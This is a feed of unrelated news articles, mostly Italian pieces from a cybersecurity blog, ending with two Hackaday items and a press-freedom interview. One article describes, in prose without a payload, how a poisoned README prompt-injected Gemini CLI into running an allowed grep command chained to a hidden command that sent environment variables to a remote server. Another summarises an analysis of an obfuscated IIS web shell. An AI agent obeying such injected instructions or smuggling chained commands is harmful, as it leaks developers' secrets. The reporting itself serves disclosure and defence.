Da un lato, le grandi aziende che sviluppano e vendono soluzioni AI spingono narrazioni apocalittiche, avvertendo che chi non abbraccerà questa tecnologia rischia di essere tagliato fuori dal mercato, o addirittura di soccombere. Dall’altro lato, emergono indagini che raccontano una realtà ben diversa: la fiducia del pubblico e di molte imprese verso l’AI sta diminuendo, in alcuni casi in modo preoccupante. Negli Stati Uniti, questo fenomeno è già visto come un potenziale problema di sicurezza nazionale, perché un’adozione distorta o rallentata potrebbe far perdere terreno nella corsa globale alla supremazia tecnologica.

Le parole di Alon Haimovich, CEO di Microsoft Israele, si inseriscono perfettamente in questo contesto acceso. Intervistato da Calcalist, ha dichiarato che “il modello secondo cui il successo aziendale equivale a molti dipendenti è finito” e che ormai ci si aspetta che ogni lavoratore sappia usare un agente di intelligenza artificiale. Un’affermazione che va oltre la pura constatazione tecnologica: è una presa di posizione netta su un futuro in cui l’AI non sarà un optional, ma una competenza fondamentale per sopravvivere professionalmente.

Haimovich non risparmia critiche nemmeno alle strategie nazionali. Secondo lui, la raccomandazione del Comitato Nagel di investire 18 miliardi di shekel nello sviluppo di un modello di intelligenza artificiale israeliano non cambierà realmente gli equilibri. L’implicito messaggio è chiaro: il vantaggio competitivo non si gioca solo sulla quantità di fondi investiti, ma sulla capacità di integrare l’AI in ogni aspetto operativo, dal singolo dipendente alle strutture decisionali più alte.

Eppure, mentre i vertici delle big tech e figure come Haimovich invocano un’adozione rapida e capillare dell’AI, cresce la disillusione. Alcuni settori denunciano un hype eccessivo, alimentato ad arte, e temono che la narrativa del“tutto sarà automatizzato” serva più a spingere vendite e abbonamenti che a riflettere la realtà. Altri mettono in guardia sul fatto che la pressione continua a “non restare indietro” possa generare scelte affrettate, con conseguenze economiche e sociali non previste.

Negli Stati Uniti, il calo di fiducia nell’AI sta diventando un dossier strategico. Se i cittadini e le imprese percepiscono la tecnologia come inaffidabile o rischiosa, sarà più difficile implementarla nei settori critici. Il rischio, secondo alcuni analisti, è che i competitor internazionali – meno frenati da dubbi etici o regolatori come la Cina – possano superare Washington in applicazioni strategiche, dalla difesa all’economia. Questo crea un paradosso: mentre il settore privato spinge verso un’adozione rapida, lo Stato si trova a dover gestire anche la diffidenza popolare.

Parallelamente, c’è chi sostiene che il tempo della “costruzione selvaggia” dell’AI sia già finito.

Dopo la corsa iniziale, caratterizzata da lanci incessanti e promesse grandiose, si starebbe entrando in una fase di “ricostruzione“, dove le aziende cercheranno di correggere i danni e le distorsioni causate da un’adozione frettolosa. Ciò potrebbe significare investimenti in sistemi più trasparenti, modelli meno opachi, e una maggiore attenzione alla sostenibilità sociale dell’AI.

La verità, forse, sta nel mezzo. È difficile negare che l’AI sarà una leva decisiva per la produttività e la competitività, ma allo stesso tempo sarebbe ingenuo ignorare i rischi di una retorica eccessiva. Se da un lato il “terrore tecnologico” può accelerare il cambiamento, dall’altro rischia di alienare lavoratori, cittadini e interi settori, rallentando proprio quel progresso che si vorrebbe spingere.

Nei prossimi anni possiamo aspettarci un terreno di gioco più complesso. Le aziende dovranno bilanciare velocità di adozione e trasparenza, i governi dovranno garantire sicurezza nazionale senza soffocare l’innovazione, e i cittadini dovranno sviluppare un pensiero critico che permetta di distinguere tra reali opportunità e marketing aggressivo.

Chi riuscirà a muoversi in questo equilibrio, sfruttando l’AI come strumento e non come feticcio, sarà pronto per il nuovo paradigma delineato da Haimovich. Gli altri rischiano di scoprire troppo tardi che la vera rivoluzione non è l’AI in sé, ma la capacità di usarla in modo consapevole.

L'articolo Panico da AI: stiamo entrando nella fase più pericolosa della rivoluzione digitale proviene da il blog della sicurezza informatica.

Nelle ultime ore è emersa una nuova campagna di phishing mirata contro l’Università degli Studi di Padova, che utilizza una pagina di accesso falsificata per carpire le credenziali di studenti e personale accademico. L’immagine mostra un sito che imita in modo piuttosto fedele il portale di Single Sign-On dell’ateneo, ma ospitato su un dominio sospetto (“hoster-test.ru”), elemento che dovrebbe subito insospettire l’utente attento.

Il layout e i loghi originali sono stati copiati per rendere la truffa più credibile, ma la barra dell’indirizzo e l’assenza di connessione sicura (indicata da “Non sicuro”) rivelano la natura malevola del sito.

L’allarme è stato diramato dal CERT-AgID, e questo attacco sembra ricalcare lo schema di un attacco precedente, con una pagina che replica fedelmente quella istituzionale e punta a sottrarre email e password in chiaro.

L’obiettivo dichiarato dagli esperti è evidente: ottenere accesso non autorizzato alle caselle di posta e ai sistemi interni dell’ateneo, sfruttando le credenziali compromesse per ulteriori attività malevole. La scelta di colpire studenti e personale universitario non è casuale: questi account possono contenere informazioni personali, dati di ricerca e accesso a sistemi sensibili. L’uso di domini esteri e poco affidabili è un chiaro indicatore della natura fraudolenta dell’operazione.

Il CERT-AgID sottolinea che la struttura della campagna lascia ipotizzare “la stessa mano criminale della precedente” e che si tratta di un attacco mirato e organizzato. Il modus operandi include la distribuzione di link ingannevoli tramite email di phishing che inducono l’utente a inserire le proprie credenziali in un portale contraffatto, identico nell’aspetto ma completamente sotto il controllo degli attaccanti.

Per mitigare i danni, l’Università di Padova è stata immediatamente informata della minaccia in corso e degli indirizzi compromessi fino a questo momento. Inoltre, gli Indicatori di Compromissione (IoC) sono stati condivisi con tutti gli enti accreditati, al fine di agevolare il rilevamento e il blocco tempestivo di eventuali tentativi di accesso fraudolento. La condivisione rapida di queste informazioni rappresenta un tassello fondamentale nella difesa collettiva contro il cybercrime.

Gli utenti sono invitati sempre ad aumentare l’attenzione di fronte ad email di dubbia provenienza e a non inserire mai le proprie credenziali in siti che presentano domini sospetti o connessioni non sicure. È buona prassi accedere ai portali universitari esclusivamente tramite link ufficiali e verificare sempre l’URL nella barra degli indirizzi. In caso di dubbio, contattare immediatamente l’help desk dell’ateneo o il CERT-AgID può evitare conseguenze ben più gravi.

L'articolo Università di Padova nel mirino! Una campagna di phishing è in corso avverte il CERT-AgID proviene da il blog della sicurezza informatica.

L’utilizzo di Linux su desktop e laptop aziendali continua a crescere. Un’analisi di quasi 18,5 milioni di dispositivi ha rilevato che la quota di Linux sui dispositivi aziendali è aumentata dall’1,6% di gennaio all’1,9% di giugno 2025. E tra i nuovi asset introdotti dopo il 1° marzo, la percentuale ha raggiunto il 2,5%.

Sebbene i numeri possano sembrare esigui, nell’ordine di un milione di dispositivi, non si tratta più di un fenomeno casuale, afferma Guido Patanella, CTO di Lansweeper. Piuttosto che un’anomalia isolata, afferma, si tratta di una “costante accelerazione” della crescita. Il fattore principale non è tanto la fine del supporto a Windows 10, quanto piuttosto l’aumento dei requisiti di sicurezza.

Patanella sottolinea che “la crescita esponenziale di minacce e attacchi sta destando preoccupazione tra i team IT”. Sebbene Linux non sia immune da vulnerabilità, è spesso percepito come più gestibile in ambienti aziendali dal punto di vista della sicurezza. Questo è particolarmente importante nel contesto dei continui attacchi informatici e dell’aumento dei costi di protezione delle infrastrutture.

Un altro fattore di crescita è stata l’attività dei team di ingegneria e degli specialisti DevOps, che di default preferiscono Linux. La sua popolarità tra gli sviluppatori, la facilità di automazione e la flessibilità sono diventati argomenti chiave a favore della migrazione.

Le aziende europee sono leggermente più avanti rispetto alle aziende nordamericane nell’adozione di Linux, soprattutto nei settori dei servizi pubblici e B2B. In Nord America, Linux è maggiormente utilizzato nel settore tecnologico e delle telecomunicazioni, con una percentuale di quasi il 7%.

Tuttavia, Linux incontra ancora delle barriere sul desktop: la compatibilità software, la formazione dei dipendenti e le abitudini consolidate degli utenti rimangono ostacoli. Nonostante i significativi progressi in termini di usabilità e supporto software, Windows e macOS continuano a dominare.

Secondo Lansweeper, Linux potrebbe presto affermarsi in modo significativo nei settori pubblico e privato. Tuttavia, la motivazione principale non è l’ideologia, bensì la necessità di migliorare la sicurezza.

L'articolo Windows Perde terreno. Linux in crescita sui desktop aziendali, la motivazione è più sicurezza proviene da il blog della sicurezza informatica.

La Corte Suprema tedesca sostiene che la polizia può utilizzare lo spyware solo per indagare su crimini gravi
E’ stato stabilito che le forze dell’ordine non possono utilizzare spyware per monitorare i dispositivi personali nei casi che prevedono una pena massima inferiore ai tre anni.

Il tribunale ha risposto a una causa intentata dall’organizzazione tedesca per le libertà digitali Digitalcourage. Gli attori hanno sostenuto che una modifica alle norme del 2017, che consente alle forze dell’ordine di utilizzare spyware per intercettare chat e piattaforme di messaggistica crittografate, potrebbe esporre ingiustamente le comunicazioni appartenenti a persone che non sono sospettate di reati.

La modifica del 2017 al codice di procedura penale tedesco non era sufficientemente precisa in merito ai casi in cui è consentito l’uso di spyware, ha stabilito la corte, affermando che i software spia sono appropriati solo nelle indagini su casi gravi. Tale sorveglianza provoca una “grave interferenza” nei diritti fondamentali, ha affermato la Corte in un comunicato stampa .

L’uso dello spyware da parte delle forze dell’ordine “consente l’intercettazione e l’analisi di tutti i dati grezzi scambiati e ha quindi una portata eccezionale, soprattutto considerando la realtà della moderna tecnologia informatica e la sua importanza per le relazioni di comunicazione”, si legge nel comunicato stampa.

Il tribunale ha inoltre stabilito che la ricerca segreta di dati memorizzati sui computer e sugli smartphone dei sospettati è in parte incompatibile con la Legge fondamentale, la costituzione di fatto tedesca. “I trojan di Stato vengono installati sfruttando le falle di sicurezza che devono essere presenti in ogni smartphone, computer, tablet e console di gioco”, scrive l’associazione sul suo sito web.

Utilizzando queste backdoor, che potrebbero essere utilizzate anche dai criminali per accedere ai dispositivi, lo Stato viola il suo dovere di protezione, ha affermato l’associazione.

L'articolo Basta Spyware su ogni reato! La Germania dice No per pene inferiori a tre anni proviene da il blog della sicurezza informatica.

Il team di FortiGuard Labs ha pubblicato un’analisi dettagliata di una web shell fortemente offuscata utilizzata per attaccare infrastrutture critiche in Medio Oriente. La ricerca si concentra sullo script UpdateChecker.aspx in esecuzione sulla piattaforma Microsoft IIS. È implementato in C# come pagina ASPX e nasconde il suo contenuto reale dietro uno strato di codice codificato e crittografato. Tutti i nomi di variabili e metodi di classe sono stati generati casualmente e poi codificati in Unicode. Tutte le costanti, incluse stringhe e numeri, sono state crittografate o codificate.

Durante l’analisi, gli esperti hanno deoffuscato il codice e convertito nomi casuali in nomi leggibili. La funzione principale Page_Load viene avviata alla ricezione di un comando dall’attaccante. La shell viene controllata tramite richieste HTTP POST con il contenuto specificato come application/octet-stream. In caso contrario, la richiesta viene rifiutata e viene restituita una pagina di errore.

Il corpo della richiesta viene prima codificato in Base64 e poi decrittografato in più fasi. I primi 16 byte contengono la chiave crittografata, che viene decodificata per produrre 15 byte di chiave e un byte di padding. Questa chiave viene utilizzata per decrittografare il resto dei dati del comando. Anche la risposta della web shell è in formato JSON, quindi crittografata e codificata nuovamente in Base64.

Lo script supporta tre moduli principali di gestione del sistema. Il modulo Base consente di ottenere informazioni sul server, il modulo CommandShell esegue i comandi di sistema nella directory di lavoro specificata e il modulo FileManager consente di interagire con file e directory, tra cui la creazione, la copia, lo spostamento e l’eliminazione dei file di directory, nonché la modifica dei metadati e la visualizzazione dell’elenco dei dischi e della directory web principale.

Per illustrare questo concetto, Fortinet ha sviluppato uno script Python che simula le azioni di un aggressore per inviare comandi alla web shell e visualizzare le risposte. Grazie a questo, è stato possibile dimostrare le capacità della shell, tra cui l’esecuzione di comandi, l’elaborazione di file e la ricezione di varie informazioni dal server.

L’analisi di UpdateChecker.aspx ha contribuito a svelare la complessa architettura della web shell e a mostrare come gli aggressori controllano il sistema in modo occulto e sicuro: lo script memorizza il controllo in formato JSON, il che semplifica l’invio automatico di comandi e la ricezione di risposte.

L'articolo Fortinet scopre una nuova Web Shell Offuscata. Analisi di UpdateChecker.aspx proviene da il blog della sicurezza informatica.

È stata scoperta una grave vulnerabilità nello strumento recentemente rilasciato da Google, Gemini CLI , che consente agli aggressori di eseguire silenziosamente comandi dannosi e di far trapelare dati dai computer degli sviluppatori se determinati comandi sono abilitati sul sistema. La vulnerabilità è stata scoperta da Tracebit appena due giorni dopo il rilascio dello strumento. Il problema è stato immediatamente segnalato a Google e il 25 luglio è stato rilasciato l’aggiornamento 0.1.14, che ha eliminato la vulnerabilità.

Gemini CLI è un’interfaccia a riga di comando per l’interazione con Gemini AI di Google, rilasciata il 25 giugno 2025. Lo strumento è progettato per aiutare gli sviluppatori caricando i file di progetto in un “contesto” e consentendo l’interazione in linguaggio naturale con il modello linguistico. Oltre alla generazione di codice e ai suggerimenti, Gemini CLI può eseguire comandi localmente, previa approvazione dell’utente o automaticamente se il comando è presente in un elenco di comandi consentiti.

Gli specialisti di Tracebit hanno iniziato a studiare lo strumento subito dopo il suo rilascio e hanno scoperto che può essere forzato a eseguire comandi dannosi all’insaputa dell’utente. Il problema risiede nel meccanismo di gestione del contesto: Gemini CLI analizza il contenuto di file come README.md e GEMINI.md, utilizzandoli come suggerimenti per comprendere la struttura del progetto. Tuttavia, possono nascondere istruzioni che portano all’iniezione tramite prompt e all’avvio di comandi esterni.

Gli sviluppatori hanno dimostrato come creare un’applicazione Python innocua con un file README modificato, in cui il primo comando sembra sicuro, ad esempio grep ^Setup README.md. Ma dopo, dopo un punto e virgola, viene inserito un secondo comando, che invia segretamente variabili d’ambiente (che potrebbero contenere segreti) a un server remoto. Poiché grep è consentito dall’utente sul sistema, l’intero comando viene percepito come attendibile e viene eseguito automaticamente.

Questa è l’essenza dell’attacco: a causa di un’analisi debole dei comandi e di un approccio ingenuo all’elenco delle azioni consentite, Gemini CLI interpreta l’intero frammento come un comando “grep” e non chiede conferma. Inoltre, il formato di output può essere mascherato visivamente nascondendo la parte dannosa dietro spazi, in modo che l’utente non si accorga del trucco.

Come prova del concetto, Tracebit ha registrato un video che mostra l’exploit. Sebbene l’attacco richieda il rispetto di alcune condizioni, come il consenso dell’utente all’esecuzione di determinati comandi, la resistenza a tali schemi dovrebbe essere integrata di default, soprattutto negli strumenti che interagiscono con il codice.

Gli sviluppatori di Tracebit sottolineano che questo è un chiaro esempio di quanto gli strumenti di intelligenza artificiale possano essere vulnerabili alla manipolazione. Anche con azioni apparentemente innocue, possono eseguire operazioni pericolose se utilizzati in un ambiente affidabile.

Si consiglia agli utenti di Gemini CLI di aggiornare immediatamente alla versione 0.1.14 ed evitare di analizzare repository non familiari al di fuori di ambienti sandbox. A differenza di Gemini CLI, altri strumenti simili, come OpenAI Codex e Anthropic Claude, si sono dimostrati resistenti a metodi di attacco simili grazie a regole di autorizzazione dei comandi più rigide.

L'articolo Vulnerabilità critica in Gemini CLI di Google: eseguibili comandi dannosi proviene da il blog della sicurezza informatica.

Intelligence Emergence ha appreso in esclusiva che questa settimana Alibaba lancerà i suoi primi occhiali AI sviluppati internamente, segnando ufficialmente l’ingresso del colosso cinese nella cosiddetta “Guerra dei cento specchi”. Secondo una fonte interna, i nuovi occhiali AI offriranno tutte le funzionalità più richieste del mercato: assistente vocale, riproduzione musicale, chiamate, traduzione in tempo reale, verbalizzazione automatica di meeting e altro ancora. Il dispositivo sarà profondamente integrato nell’ecosistema Alibaba, con accesso diretto a mappe, pagamenti, shopping online e altri servizi. “Sono coinvolti team tecnici di AutoNavi, Alipay, Taobao, ecc.”, ha precisato la fonte.

Sul piano delle capacità AI, il modello di base sarà basato su Tongyi Qianwen, mentre Quark svilupperà modelli verticali per settori come salute e istruzione. Secondo le informazioni raccolte, questi occhiali supereranno i Ray-Ban Meta in termini di specifiche hardware e saranno disponibili in due versioni: una senza display e una AI+AR con display, quest’ultima considerata prioritaria. Dal punto di vista tecnico, adotteranno un’architettura a doppio chip: Qualcomm Snapdragon AR1 abbinato a Hengxuan BES2800.

Si tratta del primo grande prodotto AI presentato da Alibaba dopo la riorganizzazione delle sue attività AI alla fine del 2024, come parte di una più ampia strategia di espansione nel mercato consumer. Questa strategia ha visto un’importante ristrutturazione interna: il team applicativo è stato inglobato nell’Alibaba Intelligent Information Business Group; successivamente, il team Intelligent Internet Business Group (responsabile del brand hardware Tmall Genie) è stato integrato nel team Quark. Tutti questi team rispondono a Wu Jia, vicepresidente del Gruppo Alibaba.

La progettazione degli occhiali è curata congiuntamente dal team hardware di Tmall Genie e dal team R&D di Quark AI, sotto la guida di Song Gang, responsabile dei terminali intelligenti del Gruppo. Song, in passato, ha diretto l’architettura di diversi smartphone flagship di Huawei e ha maturato esperienza nello sviluppo di dispositivi smart, robot, dispositivi XR e gaming.

Finora, gli occhiali AI hanno avuto applicazioni piuttosto limitate, complice la giovane età della tecnologia e ostacoli come autonomia ridotta, scomodità d’uso e difficoltà produttive. Inoltre, le funzioni software attuali – come traduzione, riconoscimento immagini o registrazione di riunioni – sono ancora in una fase iniziale e spesso non raggiungono standard qualitativi elevati, specie per foto e video.

Le vendite riflettono queste difficoltà: a parte i Ray-Ban Meta (oltre 1 milione di unità vendute in tre trimestri), gli altri marchi sono ancora in fase sperimentale. Secondo i dati di RUNTO Technology, nel primo trimestre del 2025 in Cina sono stati venduti circa 116.000 occhiali smart (inclusi quelli AR), di cui solo 16.000 erano occhiali AI.

L’ingresso di player come Alibaba, con un ecosistema ricco e diversificato, potrebbe però cambiare le regole del gioco. “Se Alibaba riuscirà a combinare la potenza di Quark (AI, archiviazione, apprendimento, ecc.) con funzioni utili e quotidiane come mappe, pagamenti QR, shopping su Taobao o reminder su Fliggy, potrà superare il limite degli scenari d’uso frammentati e spingere questi dispositivi verso il mercato di massa”, ha aggiunto la fonte.

A livello software, gli occhiali integreranno le più recenti funzionalità dell’assistente Quark, che negli ultimi sei mesi è evoluto da semplice browser a “super-occhiale” e ora a vero e proprio agente intelligente. Grazie a modelli di nuova generazione, il tempo di elaborazione è stato ridotto e i costi abbattuti, rendendo possibile un’implementazione stabile lato device.

Solo attraverso questa integrazione tra hardware, AI e scenari reali, gli occhiali potranno diventare un autentico “assistente portatile”. Sebbene il mercato non sia ancora esploso, giganti dell’elettronica, big tech e startup stanno investendo per conquistare i consumatori.

Di recente, gli occhiali AI di Xiaomi (tre versioni a partire da 1.999 yuan) hanno attirato grande attenzione, proponendo design e funzioni comparabili ai Ray-Ban Meta. Altri brand, come Meta e Rokid, hanno presentato prodotti mirati a sport, pagamenti e altre situazioni d’uso quotidiano.

Oltre ad Alibaba, anche Baidu e ByteDance stanno lavorando su progetti analoghi: i primi hanno già annunciato un modello (non ancora in vendita), mentre i secondi sono in fase di sviluppo avanzato.

Con il lancio previsto nella seconda metà del 2025 di nuovi modelli da parte di questi big player, il settore degli occhiali AI potrebbe presto arrivare a un punto di svolta decisivo.

L'articolo Alibaba lancia occhiali AI. La sfida con Meta e Xiaomi è alle porte proviene da il blog della sicurezza informatica.

Un wallet di criptovalute bloccato in attesa di capire come custodirlo in sicurezza.

Un sito web oscurato interamente per una sola pagina illecita.

Un captatore informatico che registra ogni tasto digitato all’interno di un appartamento.

Sono solo alcune delle situazioni reali che oggi si presentano nelle indagini penali digitali, scenari in cui la tecnologia accelera le possibilità investigative ma allo stesso tempo mette a dura prova i principi del processo giusto.

Quando la tecnologia cambia il modo di pensare

Tutto è iniziato anni fa con le prime lezioni universitarie. Poi è arrivato il contatto diretto con procedimenti legati a reati informatici, dove è emerso con chiarezza un fenomeno cruciale: la tecnologia non modifica soltanto i comportamenti, ma incide profondamente anche sui processi mentali.

Questo impone una riflessione sul concetto stesso di imputabilità. Quanto le nuove tecnologie, in particolare quelle immersive, possono alterare la capacità di intendere e di volere?

Si pensi a minori cresciuti tra videogiochi, anonimato digitale, privi di piena percezione delle conseguenze. Oppure agli effetti psicologici documentati: disturbi da iperconnessione, dipendenze da internet, desensibilizzazione alla violenza in contesti virtuali.

Non è più una questione accademica. Queste situazioni sono già oggetto di valutazione processuale.

Davanti a tali scenari, il diritto penale può seguire, fondamentalmente, tre strade:

1. negare qualsiasi incidenza delle tecnologie sulla capacità mentale, mantenendo l’approccio tradizionale;
2. riconoscere, in certi casi, vizi di mente legati all’uso patologico degli strumenti digitali;
3. valutare il grado di consapevolezza con cui la tecnologia è stata utilizzata per superare barriere morali o legali.

Qualunque sia l’approccio, si impone un ripensamento. Se la tecnologia cambia il modo in cui agiamo, può cambiare anche il modo in cui intendiamo e vogliamo. Nel diritto penale, questa distinzione è decisiva.

Il diritto penale digitale senza rete di protezione

Nelle indagini penali, le misure cautelari reali sono provvedimenti che incidono sul patrimonio, realizzando un vincolo di indisponibilità su cose o beni per due principali finalità:

• per garantire il pagamentodelle pene pecuniarie, delle spese di giustizia e di eventuali risarcimenti danni (sequestro conservativo);
• per impedire che la libera disponibilità di una cosa pertinente al reato possa aggravare o protrarre le conseguenze di esso ovvero agevolare la commissione di altri reati (sequestro preventivo).

Nel mondo fisico, il sequestro preventivo o conservativo segue regole note e consolidate. Nel digitale, invece, queste regole si deformano. Il confine tra tutela e abuso si assottiglia.

La giurisprudenza prova a dare punti di riferimento, ma su molti temi – dalla natura giuridica delle criptovalute alla proporzionalità nell’oscuramento dei contenuti online – si naviga ancora in acque incerte. Il rischio è che, in assenza di prassi uniformi, ogni intervento diventi un caso a sé, con conseguenze imprevedibili.

Perquisizione informatica: anatomia di un’operazione

Quando si entra in un computer o in uno smartphone, non si stanno aprendo solo file. Si penetra in un flusso di dati vivo, in continua evoluzione.

Uno screenshot di un documento aperto non è la stessa cosa di quel documento salvato su disco. Cambia la natura della prova, cambia il modo in cui la si può usare in giudizio.

A volte la perquisizione è programmata e condotta con consulenti specializzati. Altre volte, la rapidità è vitale. Rinviare l’accesso per attendere supporto tecnico significherebbe perdere informazioni decisive. La legge chiede di garantire l’integrità della prova, ma lascia libertà sulle modalità, a patto che il risultato sia una copia fedele e non alterata.

La trappola del sequestro infinito

Il sequestro di un dispositivo può durare mesi. Spesso la causa è un ostacolo tecnico, come il rifiuto di fornire le credenziali di accesso. Anche dopo l’estrazione dei dati, il vincolo può rimanere se non è possibile renderli disponibili in modo concreto.

L’integrità della prova è un terreno minato. L’assenza di hash o la presenza di anomalie non basta a invalidarla, a meno che non vi siano prove di manipolazione. Molto più pericoloso è il sequestro generalizzato, che acquisisce indiscriminatamente dati di soggetti estranei o di lunghi periodi, trasformandosi in un’indagine esplorativa vietata dal principio di proporzionalità.

Captatore informatico: la lama a doppio taglio

Il captatore è lo strumento che più di ogni altro ha cambiato il volto delle indagini penali. Permette di vedere, ascoltare, leggere in tempo reale ciò che accade su un dispositivo, anche dentro le mura domestiche.

Ma proprio per la sua invasività, impone regole severe: indicazione chiara di luoghi, tempi e contenuti autorizzati; esclusione di ciò che non è stato specificamente permesso; tutela assoluta della riservatezza.

La giurisprudenza prima, e la noma poi, hanno fissato paletti importanti, ma ogni uso del captatore resta un banco di prova per il sistema- Uno strumento così potente può diventare un’arma sproporzionata se usato senza misura.

Intercettazioni digitali e nuove frontiere del processo

Messaggi WhatsApp recuperati da un telefono sequestrato possono essere trattati come documenti digitali. Ma se la conversazione viene intercettata in diretta, scattano regole e garanzie più stringenti.

Le zone grigie si moltiplicano quando i dati passano per server esteri o sono cifrati. Distinguere tra prova legittima e inutilizzabile diventa un’operazione chirurgica.

Anche un decreto autorizzativo incompleto o un’acquisizione troppo estesa può compromettere la prova. Nel digitale, la forma non è un orpello, è sostanza.

La sfida del bilanciamento

La tecnologia ha reso il lavoro investigativo più rapido, preciso e penetrante. Ma ogni passo in avanti nella capacità di acquisire informazioni comporta un passo in più nel rischio di erodere le garanzie.

Il vero nodo non è scegliere tra sicurezza e diritti: è trovare un punto di equilibrio stabile, dove l’efficacia non diventi prevaricazione e la tutela non diventi ostacolo ingiustificato.

Nel processo penale digitale, ogni scelta – dal sequestro alla conservazione, dall’analisi alla presentazione in aula – deve resistere a due prove: quella tecnica e quella giuridica. Solo così la giustizia può restare giustizia, anche nell’era del dato.

L'articolo Giustizia penale digitale: la sfida del bilanciamento tra tecnologia e diritti proviene da il blog della sicurezza informatica.

Imagine you have a projector pointing at a scene, which you’re photographing with a camera aimed from a different point. Using the techniques of modelling light transport, [okooptics] has shown us how you can capture an image from the projector’s point of view, instead of the camera—and even synthetically light the scene however you might like.
The test scene used for the explanation of the work.
The concept involves capturing data regarding how light is transported from the projector to the scene. This could be achieved by lighting one pixel of the projector at a time while capturing an image with the camera. However, even for a low-resolution projector, of say 256×256 pixels, this would require capturing 65536 individual images, and take a very long time. Instead, [okooptics] explains how the same task can be achieved by using binary coded images with the projector, which allow the same data to be captured using just seventeen exposures.

Once armed with this light transport data, it’s possible to do wild tricks. You can synthetically light the scene, as if the projector were displaying any novel lighting pattern of your choice. You can also construct a simulated photo taken from the projector’s perspective, and even do some rudimentary depth reconstruction. [okooptics] explains this tricky subject well, using visual demonstrations to indicate how it all works.

The work was inspired by the “Dual Photography” paper published at SIGGRAPH some time ago, a conference that continues to produce outrageously interesting work to this day.

youtube.com/embed/TcXMf0mTh94?…

hackaday.com/2025/08/07/light-…

If the term ‘NLWeb’ first brought to mind an image of a Dutch internet service provider, you’re probably not alone. What it actually is – or tries to become – is Microsoft’s vision of a parallel internet protocol using which website owners and application developers can integrate whatever LLM-based chatbot they desire. Unfortunately for Microsoft, the NLWeb protocol just suffered its first major security flaw.

The flaw is an absolute doozy, involving a basic path traversal vulnerability that allows an attacker to use appropriately formatted URLs to traverse the filesystem of the remote, LLM-hosting, system to extract keys and other sensitive information. Although Microsoft patched it already, no CVE was assigned, while raising the question of just how many more elementary bugs like this may be lurking in the protocol and associated software.

As for why a website or application owner might be interested in NLWeb, the marketing pitch appears to be as an alternative to integrating a local search function. This way any website or app can have their own ChatGPT-style search functionality that is theoretically restricted to just their website, instead of chatbot-loving customers going to the ChatGPT or equivalent site to ask their questions there.

Even aside from the the strong ‘solution in search of a problem’ vibe, it’s worrying that right from the outset it seems to introduce pretty serious security issues that suggest a lack of real testing, never mind a strong ignorance of the fact that a lack of user input sanitization is the primary cause for widely exploited CVEs. Unknown is whether GitHub Copilot was used to write the affected codebase.

hackaday.com/2025/08/07/micros…

For decades, one organization has dedicated itself to protecting the rights of news photographers and videographers. The National Press Photographers Association has led countless First Amendment battles to protect visual journalists’ right to document and the public’s right to see and hear the news.

The organization’s general counsel, Mickey Osterreicher, is often at the forefront of those fights. He and NPPA have protected the First Amendment right to record in public, limited senseless government regulations restricting photography and recording, and even won a groundbreaking settlement with the New York Police Department over its treatment of journalists at protests.

But recently, NPPA announced that it faces financial difficulties. Freedom of the Press Foundation (FPF) spoke to Osterreicher about NPPA’s work and the impact on the First Amendment if it shutters. You can read our full conversation below, and you can donate to NPPA’s programs here.

You’ve been NPPA’s general counsel since 2005, and you’ve also been a news photographer. How have the legal issues facing visual journalists changed over the years, and what are the most pressing issues they face today?

Both from a practical and legal standpoint, being a journalist was a lot simpler when I was a photojournalist. One of the biggest challenges I now face is trying to answer the question from police and lawmakers, “Who is a journalist?” and, during a protest, “Who gets to stay after an order to disperse?”

But once those press access rights have been attained, what good is it if visual journalists cannot make a decent living after risking their health and safety because their images are being misappropriated without permission, credit, or compensation? So it is a combination of dealing with First Amendment and copyright issues that keeps me up most nights.

That is to say nothing of the exponential use of generative artificial intelligence that has economically impacted the market for news photography as well as creating ethical challenges for visual journalists and public perception.

Tell us more about how the rise of AI-generated images and deepfakes is affecting the work and rights of visual journalists.

For visual journalism, generative artificial intelligence is the worst of both worlds, where millions of images (still and video) are ingested to train AI models without payment to the creators and the public can no longer believe what they see without wondering if what they are viewing is a true depiction of what really happened or an artificially created image. Even worse, this technology now provides an additional layer of ambiguity to those who claim that actual images of real events are “fake news.”

You’ve trained many law enforcement officers about journalists’ First Amendment rights, especially when they’re covering political conventions and protests. What are the most important things for police officers to know about press freedom, and how is NPPA uniquely positioned to provide that training?

I have three goals when training police and journalists about press freedoms. One: that police are not sued for abridging First Amendment rights of citizens and journalists, costing taxpayers dearly with money that could be better spent for police recruitment and retention or equipment. Two: that journalists are able to do their jobs without being harassed, injured, or arrested. Three: that the public is informed, which is the basis for the First Amendment — that being the desire by the founding fathers for the right of the public to receive information, and be an informed electorate.

As “the voice of visual journalists” since 1946, NPPA is uniquely positioned to foster improved police-press-public relations in an era when it is most needed by instilling greater respect for the roles each plays in our democracy. We’ve provided these trainings to law enforcement agencies nationwide for almost 20 years, with scores of departments and hundreds of officers being trained, including the entire Minnesota State Patrol as part of the settlement terms of a federal civil rights lawsuit, as well as the start of training with the NYPD regarding the new policies and procedures implemented as a result of the settlement of our lawsuit.

“Should our voice be muted, its silence will be deafening.“

Mickey Osterreicher

What I believe also adds to NPPA’s credibility is my background as a photojournalist with over forty years’ experience in print and broadcast, my experience as a First Amendment attorney, and my understanding of the challenges facing law enforcement from having been a uniformed reserve deputy sheriff with the Erie County Sheriff’s Office since 1976 and working closely with law enforcement through various associations and committees.

That experience working with police departments — which not many press freedom organizations have — has also allowed you to get involved in many other issues that are important to all journalists, not just visual ones. Tell us about your work on police radio encryption and other ways you’re able to leverage the work you’ve done training police departments.

The encryption of police radio transmissions is a growing problem nationwide, because for almost a century, newsrooms and journalists have relied on the monitoring of those broadcasts to cover breaking news and other matters of public concern.

One place where such coverage is critical is New York City, where so many newsworthy events occur and where, because of the congested vehicle traffic, time is of the essence in getting to the scene. A few years ago, the NYPD announced that it would begin encrypting its transmissions. NPPA joined a consortium of news organizations asking to work with NYPD to allow journalists to continue to have real-time access to those broadcasts. Despite meeting with police officials, testifying before the city council and submitting a white paper on the subject, the NYPD has refused to discuss this issue further, and many of the important police frequencies have already been encrypted.

The consortium then supported a state bill that would allow for press access. That bill passed both houses and is awaiting the governor’s signature. NPPA has also worked with press groups around the country to address this issue.

Another problem we helped to solve was an exemption for journalists to a New York law that banned anyone in the state (except for certain “eligible professions”) from the “purchase, taking possession of, sale, exchange, giving or disposing of body armor.”

